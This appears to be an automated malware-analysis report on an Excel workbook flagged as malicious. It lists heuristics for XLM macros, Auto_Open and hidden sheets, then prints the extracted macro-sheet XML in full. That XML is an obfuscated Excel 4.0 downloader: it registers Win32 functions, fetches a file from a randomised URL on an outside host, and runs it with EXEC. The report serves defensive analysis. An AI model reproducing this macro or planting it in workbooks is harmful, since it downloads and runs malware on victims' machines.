MALICIOUS
190
Risk Score
Heuristics 5
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Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
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Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAMEWorkbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
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Dangerous XLM formula APIs: FORMULA.FILL, EXEC, HALT, REGISTER, GOTO critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
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Hidden worksheet (hidden) low OOXML_HIDDEN_SHEETExcel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_sheet_00.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.xml | 5500 bytes |
SHA-256: e0b540e3a94be0402e1314ac428ace27f69be83ed79512e46b738742faa2d4e7 |
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Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A150:D178"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="32" style="2" customWidth="1"/><col min="2" max="2" width="24.7109375" style="2" customWidth="1"/><col min="3" max="3" width="24.5703125" style="2" customWidth="1"/><col min="4" max="4" width="29.7109375" style="2" bestFit="1" customWidth="1"/><col min="5" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="150" spans="1:4" x14ac:dyDescent="0.25"><c r="B150" s="3"/></row><row r="151" spans="1:4" x14ac:dyDescent="0.25"><c r="B151" s="3"/></row><row r="152" spans="1:4" x14ac:dyDescent="0.25"><c r="B152" s="3"/></row><row r="153" spans="1:4" x14ac:dyDescent="0.25"><c r="B153" s="3"/></row><row r="154" spans="1:4" x14ac:dyDescent="0.25"><c r="A154" s="2" t="b"><f>B154()</f><v>0</v></c><c r="B154" s="2" t="b"><f>FORMULA.FILL(kOTI!U54&kOTI!U55&kOTI!U56&kOTI!U57&kOTI!U58&kOTI!U59,BB53)</f><v>0</v></c><c r="C154" s="2" t="b"><f>FORMULA.FILL(kOTI!AC56,HI18807)</f><v>0</v></c><c r="D154" s="2" t="b"><f>EXEC("r"&kOTI!AC60&" "&kOTI!AC59&",D"&kOTI!AC61)</f><v>0</v></c></row><row r="155" spans="1:4" x14ac:dyDescent="0.25"><c r="B155" s="2" t="b"><f>B156()</f><v>0</v></c><c r="C155" s="2" t="b"><f>C156()</f><v>0</v></c><c r="D155" s="2" t="b"><f>HALT()</f><v>0</v></c></row><row r="156" spans="1:4" x14ac:dyDescent="0.25"><c r="A156" s="2" t="b"><f>REGISTER(HI18807,AN32726,IK16309,DI7875,,1,9)</f><v>0</v></c><c r="B156" s="2" t="b"><f>FORMULA.FILL(kOTI!V53&kOTI!V54&kOTI!V55&kOTI!V56&kOTI!V57&kOTI!V58&kOTI!V59&kOTI!V60&kOTI!V61&kOTI!V62&kOTI!V63&kOTI!V64&kOTI!V65&kOTI!V66&kOTI!V67&kOTI!V68&kOTI!V69&kOTI!V70,HZ48004)</f><v>0</v></c><c r="C156" s="2" t="b"><f>FORMULA.FILL(kOTI!AC57,AN32726)</f><v>0</v></c></row><row r="157" spans="1:4" x14ac:dyDescent="0.25"><c r="A157" s="2" t="e"><f>Vuolasd(GT17028,AQ4875,1)</f><v>#NAME?</v></c><c r="B157" s="2" t="b"><f>B158()</f><v>0</v></c><c r="C157" s="2" t="b"><f>C158()</f><v>0</v></c></row><row r="158" spans="1:4" x14ac:dyDescent="0.25"><c r="B158" s="2" t="b"><f>FORMULA.FILL(kOTI!U62&kOTI!U63&kOTI!U64&kOTI!U65&kOTI!U66&kOTI!U67,HI18898)</f><v>0</v></c><c r="C158" s="2" t="b"><f>FORMULA.FILL("BCCJ",IK16309)</f><v>0</v></c></row><row r="159" spans="1:4" x14ac:dyDescent="0.25"><c r="B159" s="2" t="b"><f>B160()</f><v>0</v></c><c r="C159" s="2" t="b"><f>C160()</f><v>0</v></c></row><row r="160" spans="1:4" x14ac:dyDescent="0.25"><c r="B160" s="2" t="b"><f>FORMULA.FILL(kOTI!AC58&B169,GT17028)</f><v>0</v></c><c r="C160" s="2" t="b"><f>FORMULA.FILL("Niokaser",IK4106)</f><v>0</v></c></row><row r="161" spans="1:3" x14ac:dyDescent="0.25"><c r="A161" s="2" t="b"><f>REGISTER(BB53,HZ48004,HI18898,IK4106,,1,9)</f><v>0</v></c><c r="B161" s="2" t="b"><f>B162()</f><v>0</v></c><c r="C161" s="2" t="b"><f>C162()</f><v>0</v></c></row><row r="162" spans="1:3" x14ac:dyDescent="0.25"><c r="A162" s="2" t="e"><f>Niokaser(0,GT17028,AQ4875,0,0)</f><v>#NAME?</v></c><c r="B162" s="2" t="b"><f>FORMULA.FILL(kOTI!AC59,AQ4875)</f><v>0</v></c><c r="C162" s="2" t="b"><f>FORMULA.FILL("Vuolasd",DI7875)</f><v>0</v></c></row><row r="163" spans="1:3" x14ac:dyDescent="0.25"><c r="B163" s="2" t="b"><f>FORMULA.FILL(kOTI!AC60,AS41071)</f><v>0</v></c><c r="C163" s="2" t="b"><f>A161()</f><v>0</v></c></row><row r="164" spans="1:3" x14ac:dyDescent="0.25"><c r="A164" s="2" t="e"><f>GOTO(D154)</f><v>#N/A</v></c><c r="B164" s="2" t="b"><f>B165()</f><v>0</v></c></row><row r="165" spans="1:3" x14ac:dyDescent="0.25"><c r="B165" s="2" t="b"><f>FORMULA.FILL(kOTI!AC61,HG9961)</f><v>0</v></c></row><row r="166" spans="1:3" x14ac:dyDescent="0.25"><c r="B166" s="2" t="b"><f>C154()</f><v>0</v></c></row><row r="169" spans="1:3" x14ac:dyDescent="0.25"><c r="B169" s="2" t="str"><f>INDEX(C172:C178,RANDBETWEEN(1,8))&B170</f><v>fadingmemoriespodcast.com/bdxduufm/5319402.jpg</v></c></row><row r="170" spans="1:3" x14ac:dyDescent="0.25"><c r="B170" s="2" t="str"><f>RANDBETWEEN(2222222,8888888)&".jpg"</f><v>5319402.jpg</v></c></row><row r="172" spans="1:3" x14ac:dyDescent="0.25"><c r="C172" s="2" t="s"><v>17</v></c></row><row r="173" spans="1:3" x14ac:dyDescent="0.25"><c r="C173" s="2" t="s"><v>18</v></c></row><row r="174" spans="1:3" x14ac:dyDescent="0.25"><c r="C174" s="2" t="s"><v>19</v></c></row><row r="175" spans="1:3" x14ac:dyDescent="0.25"><c r="C175" s="2" t="s"><v>20</v></c></row><row r="176" spans="1:3" x14ac:dyDescent="0.25"><c r="C176" s="2" t="s"><v>21</v></c></row><row r="177" spans="3:3" x14ac:dyDescent="0.25"><c r="C177" s="2" t="s"><v>22</v></c></row><row r="178" spans="3:3" x14ac:dyDescent="0.25"><c r="C178" s="2" t="s"><v>23</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" horizontalDpi="300" verticalDpi="300" r:id="rId1"/></xm:macrosheet>
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